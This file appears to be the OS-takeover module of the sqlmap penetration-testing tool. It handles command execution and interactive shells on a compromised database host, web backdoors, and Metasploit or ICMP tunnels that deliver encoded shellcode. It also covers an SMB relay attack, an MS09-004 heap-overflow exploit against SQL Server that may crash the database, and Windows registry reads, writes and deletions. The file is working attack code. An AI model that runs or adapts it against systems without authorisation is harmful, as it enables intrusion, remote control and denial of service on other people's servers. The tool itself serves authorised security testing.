1#!/usr/bin/env python
2
3"""
4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
5See the file 'LICENSE' for copying permission
6"""
7
8import os
9
10from lib.core.common import Backend
11from lib.core.common import getSafeExString
12from lib.core.common import isDigit
13from lib.core.common import isStackingAvailable
14from lib.core.common import openFile
15from lib.core.common import readInput
16from lib.core.common import runningAsAdmin
17from lib.core.data import conf
18from lib.core.data import kb
19from lib.core.data import logger
20from lib.core.enums import DBMS
21from lib.core.enums import OS
22from lib.core.exception import SqlmapFilePathException
23from lib.core.exception import SqlmapMissingDependence
24from lib.core.exception import SqlmapMissingMandatoryOptionException
25from lib.core.exception import SqlmapMissingPrivileges
26from lib.core.exception import SqlmapNotVulnerableException
27from lib.core.exception import SqlmapSystemException
28from lib.core.exception import SqlmapUndefinedMethod
29from lib.core.exception import SqlmapUnsupportedDBMSException
30from lib.takeover.abstraction import Abstraction
31from lib.takeover.icmpsh import ICMPsh
32from lib.takeover.metasploit import Metasploit
33from lib.takeover.registry import Registry
34
35class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
36    """
37    This class defines generic OS takeover functionalities for plugins.
38    """
39
40    def __init__(self):
41        self.cmdTblName = ("%soutput" % conf.tablePrefix)
42        self.tblField = "data"
43
44        Abstraction.__init__(self)
45
46    def osCmd(self):
47        if isStackingAvailable() or conf.direct:
48            web = False
49        elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
50            infoMsg = "going to use a web backdoor for command execution"
51            logger.info(infoMsg)
52
53            web = True
54        else:
55            errMsg = "unable to execute operating system commands via "
56            errMsg += "the back-end DBMS"
57            raise SqlmapNotVulnerableException(errMsg)
58
59        self.getRemoteTempPath()
60        self.initEnv(web=web)
61
62        if not web or (web and self.webBackdoorUrl is not None):
63            self.runCmd(conf.osCmd)
64
65        if not conf.osShell and not conf.osPwn and not conf.cleanup:
66            self.cleanup(web=web)
67
68    def osShell(self):
69        if isStackingAvailable() or conf.direct:
70            web = False
71        elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
72            infoMsg = "going to use a web backdoor for command prompt"
73            logger.info(infoMsg)
74
75            web = True
76        else:
77            errMsg = "unable to prompt for an interactive operating "
78            errMsg += "system shell via the back-end DBMS because "
79            errMsg += "stacked queries SQL injection is not supported"
80            raise SqlmapNotVulnerableException(errMsg)
81
82        self.getRemoteTempPath()
83
84        try:
85            self.initEnv(web=web)
86        except SqlmapFilePathException:
87            if not web and not conf.direct:
88                infoMsg = "falling back to web backdoor method..."
89                logger.info(infoMsg)
90
91                web = True
92                kb.udfFail = True
93
94                self.initEnv(web=web)
95            else:
96                raise
97
98        if not web or (web and self.webBackdoorUrl is not None):
99            self.shell()
100
101        if not conf.osPwn and not conf.cleanup:
102            self.cleanup(web=web)
103
104    def osPwn(self):
105        goUdf = False
106        fallbackToWeb = False
107        setupSuccess = False
108
109        self.checkDbmsOs()
110
111        if Backend.isOs(OS.WINDOWS):
112            msg = "how do you want to establish the tunnel?"
113            msg += "\n[1] TCP: Metasploit Framework (default)"
114            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
115
116            while True:
117                tunnel = readInput(msg, default='1')
118
119                if isDigit(tunnel) and int(tunnel) in (1, 2):
120                    tunnel = int(tunnel)
121                    break
122
123                else:
124                    warnMsg = "invalid value, valid values are '1' and '2'"
125                    logger.warn(warnMsg)
126        else:
127            tunnel = 1
128
129            debugMsg = "the tunnel can be established only via TCP when "
130            debugMsg += "the back-end DBMS is not Windows"
131            logger.debug(debugMsg)
132
133        if tunnel == 2:
134            isAdmin = runningAsAdmin()
135
136            if not isAdmin:
137                errMsg = "you need to run sqlmap as an administrator "
138                errMsg += "if you want to establish an out-of-band ICMP "
139                errMsg += "tunnel because icmpsh uses raw sockets to "
140                errMsg += "sniff and craft ICMP packets"
141                raise SqlmapMissingPrivileges(errMsg)
142
143            try:
144                __import__("impacket")
145            except ImportError:
146                errMsg = "sqlmap requires 'python-impacket' third-party library "
147                errMsg += "in order to run icmpsh master. You can get it at "
148                errMsg += "http://code.google.com/p/impacket/downloads/list"
149                raise SqlmapMissingDependence(errMsg)
150
151            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
152
153            if os.path.exists(filename):
154                try:
155                    with openFile(filename, "wb") as f:
156                        f.write("1")
157                except IOError as ex:
158                    errMsg = "there has been a file opening/writing error "
159                    errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
160                    raise SqlmapSystemException(errMsg)
161            else:
162                errMsg = "you need to disable ICMP replies by your machine "
163                errMsg += "system-wide. For example run on Linux/Unix:\n"
164                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
165                errMsg += "If you miss doing that, you will receive "
166                errMsg += "information from the database server and it "
167                errMsg += "is unlikely to receive commands sent from you"
168                logger.error(errMsg)
169
170            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
171                self.sysUdfs.pop("sys_bineval")
172
173        self.getRemoteTempPath()
174
175        if isStackingAvailable() or conf.direct:
176            web = False
177
178            self.initEnv(web=web)
179
180            if tunnel == 1:
181                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
182                    msg = "how do you want to execute the Metasploit shellcode "
183                    msg += "on the back-end database underlying operating system?"
184                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
185                    msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
186
187                    while True:
188                        choice = readInput(msg, default='1')
189
190                        if isDigit(choice) and int(choice) in (1, 2):
191                            choice = int(choice)
192                            break
193
194                        else:
195                            warnMsg = "invalid value, valid values are '1' and '2'"
196                            logger.warn(warnMsg)
197
198                    if choice == 1:
199                        goUdf = True
200
201                if goUdf:
202                    exitfunc = "thread"
203                    setupSuccess = True
204                else:
205                    exitfunc = "process"
206
207                self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
208
209                if not goUdf:
210                    setupSuccess = self.uploadShellcodeexec(web=web)
211
212                    if setupSuccess is not True:
213                        if Backend.isDbms(DBMS.MYSQL):
214                            fallbackToWeb = True
215                        else:
216                            msg = "unable to mount the operating system takeover"
217                            raise SqlmapFilePathException(msg)
218
219                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
220                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
221                    debugMsg += "user, no need to privilege escalate"
222                    logger.debug(debugMsg)
223
224            elif tunnel == 2:
225                setupSuccess = self.uploadIcmpshSlave(web=web)
226
227                if setupSuccess is not True:
228                    if Backend.isDbms(DBMS.MYSQL):
229                        fallbackToWeb = True
230                    else:
231                        msg = "unable to mount the operating system takeover"
232                        raise SqlmapFilePathException(msg)
233
234        if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
235            web = True
236
237            if fallbackToWeb:
238                infoMsg = "falling back to web backdoor to establish the tunnel"
239            else:
240                infoMsg = "going to use a web backdoor to establish the tunnel"
241            logger.info(infoMsg)
242
243            self.initEnv(web=web, forceInit=fallbackToWeb)
244
245            if self.webBackdoorUrl:
246                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
247                    # Unset --priv-esc if the back-end DBMS underlying operating
248                    # system is not Windows
249                    conf.privEsc = False
250
251                    warnMsg = "sqlmap does not implement any operating system "
252                    warnMsg += "user privilege escalation technique when the "
253                    warnMsg += "back-end DBMS underlying system is not Windows"
254                    logger.warn(warnMsg)
255
256                if tunnel == 1:
257                    self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
258                    setupSuccess = self.uploadShellcodeexec(web=web)
259
260                    if setupSuccess is not True:
261                        msg = "unable to mount the operating system takeover"
262                        raise SqlmapFilePathException(msg)
263
264                elif tunnel == 2:
265                    setupSuccess = self.uploadIcmpshSlave(web=web)
266
267                    if setupSuccess is not True:
268                        msg = "unable to mount the operating system takeover"
269                        raise SqlmapFilePathException(msg)
270
271        if setupSuccess:
272            if tunnel == 1:
273                self.pwn(goUdf)
274            elif tunnel == 2:
275                self.icmpPwn()
276        else:
277            errMsg = "unable to prompt for an out-of-band session"
278            raise SqlmapNotVulnerableException(errMsg)
279
280        if not conf.cleanup:
281            self.cleanup(web=web)
282
283    def osSmb(self):
284        self.checkDbmsOs()
285
286        if not Backend.isOs(OS.WINDOWS):
287            errMsg = "the back-end DBMS underlying operating system is "
288            errMsg += "not Windows: it is not possible to perform the SMB "
289            errMsg += "relay attack"
290            raise SqlmapUnsupportedDBMSException(errMsg)
291
292        if not isStackingAvailable() and not conf.direct:
293            if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
294                errMsg = "on this back-end DBMS it is only possible to "
295                errMsg += "perform the SMB relay attack if stacked "
296                errMsg += "queries are supported"
297                raise SqlmapUnsupportedDBMSException(errMsg)
298
299            elif Backend.isDbms(DBMS.MYSQL):
300                debugMsg = "since stacked queries are not supported, "
301                debugMsg += "sqlmap is going to perform the SMB relay "
302                debugMsg += "attack via inference blind SQL injection"
303                logger.debug(debugMsg)
304
305        printWarn = True
306        warnMsg = "it is unlikely that this attack will be successful "
307
308        if Backend.isDbms(DBMS.MYSQL):
309            warnMsg += "because by default MySQL on Windows runs as "
310            warnMsg += "Local System which is not a real user, it does "
311            warnMsg += "not send the NTLM session hash when connecting to "
312            warnMsg += "a SMB service"
313
314        elif Backend.isDbms(DBMS.PGSQL):
315            warnMsg += "because by default PostgreSQL on Windows runs "
316            warnMsg += "as postgres user which is a real user of the "
317            warnMsg += "system, but not within the Administrators group"
318
319        elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
320            warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
321            warnMsg += "runs as Network Service which is not a real user, "
322            warnMsg += "it does not send the NTLM session hash when "
323            warnMsg += "connecting to a SMB service"
324
325        else:
326            printWarn = False
327
328        if printWarn:
329            logger.warn(warnMsg)
330
331        self.smb()
332
333    def osBof(self):
334        if not isStackingAvailable() and not conf.direct:
335            return
336
337        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
338            errMsg = "the back-end DBMS must be Microsoft SQL Server "
339            errMsg += "2000 or 2005 to be able to exploit the heap-based "
340            errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
341            errMsg += "stored procedure (MS09-004)"
342            raise SqlmapUnsupportedDBMSException(errMsg)
343
344        infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
345        infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
346        infoMsg += "buffer overflow (MS09-004)"
347        logger.info(infoMsg)
348
349        msg = "this technique is likely to DoS the DBMS process, are you "
350        msg += "sure that you want to carry with the exploit? [y/N] "
351
352        if readInput(msg, default='N', boolean=True):
353            self.initEnv(mandatory=False, detailed=True)
354            self.getRemoteTempPath()
355            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
356            self.bof()
357
358    def uncPathRequest(self):
359        errMsg = "'uncPathRequest' method must be defined "
360        errMsg += "into the specific DBMS plugin"
361        raise SqlmapUndefinedMethod(errMsg)
362
363    def _regInit(self):
364        if not isStackingAvailable() and not conf.direct:
365            return
366
367        self.checkDbmsOs()
368
369        if not Backend.isOs(OS.WINDOWS):
370            errMsg = "the back-end DBMS underlying operating system is "
371            errMsg += "not Windows"
372            raise SqlmapUnsupportedDBMSException(errMsg)
373
374        self.initEnv()
375        self.getRemoteTempPath()
376
377    def regRead(self):
378        self._regInit()
379
380        if not conf.regKey:
381            default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
382            msg = "which registry key do you want to read? [%s] " % default
383            regKey = readInput(msg, default=default)
384        else:
385            regKey = conf.regKey
386
387        if not conf.regVal:
388            default = "ProductName"
389            msg = "which registry key value do you want to read? [%s] " % default
390            regVal = readInput(msg, default=default)
391        else:
392            regVal = conf.regVal
393
394        infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
395        logger.info(infoMsg)
396
397        return self.readRegKey(regKey, regVal, True)
398
399    def regAdd(self):
400        self._regInit()
401
402        errMsg = "missing mandatory option"
403
404        if not conf.regKey:
405            msg = "which registry key do you want to write? "
406            regKey = readInput(msg)
407
408            if not regKey:
409                raise SqlmapMissingMandatoryOptionException(errMsg)
410        else:
411            regKey = conf.regKey
412
413        if not conf.regVal:
414            msg = "which registry key value do you want to write? "
415            regVal = readInput(msg)
416
417            if not regVal:
418                raise SqlmapMissingMandatoryOptionException(errMsg)
419        else:
420            regVal = conf.regVal
421
422        if not conf.regData:
423            msg = "which registry key value data do you want to write? "
424            regData = readInput(msg)
425
426            if not regData:
427                raise SqlmapMissingMandatoryOptionException(errMsg)
428        else:
429            regData = conf.regData
430
431        if not conf.regType:
432            default = "REG_SZ"
433            msg = "which registry key value data-type is it? "
434            msg += "[%s] " % default
435            regType = readInput(msg, default=default)
436        else:
437            regType = conf.regType
438
439        infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
440        infoMsg += "with data '%s'. " % regData
441        infoMsg += "This will work only if the user running the database "
442        infoMsg += "process has privileges to modify the Windows registry."
443        logger.info(infoMsg)
444
445        self.addRegKey(regKey, regVal, regType, regData)
446
447    def regDel(self):
448        self._regInit()
449
450        errMsg = "missing mandatory option"
451
452        if not conf.regKey:
453            msg = "which registry key do you want to delete? "
454            regKey = readInput(msg)
455
456            if not regKey:
457                raise SqlmapMissingMandatoryOptionException(errMsg)
458        else:
459            regKey = conf.regKey
460
461        if not conf.regVal:
462            msg = "which registry key value do you want to delete? "
463            regVal = readInput(msg)
464
465            if not regVal:
466                raise SqlmapMissingMandatoryOptionException(errMsg)
467        else:
468            regVal = conf.regVal
469
470        message = "are you sure that you want to delete the Windows "
471        message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
472
473        if not readInput(message, default='N', boolean=True):
474            return
475
476        infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
477        infoMsg += "This will work only if the user running the database "
478        infoMsg += "process has privileges to modify the Windows registry."
479        logger.info(infoMsg)
480
481        self.delRegKey(regKey, regVal)
482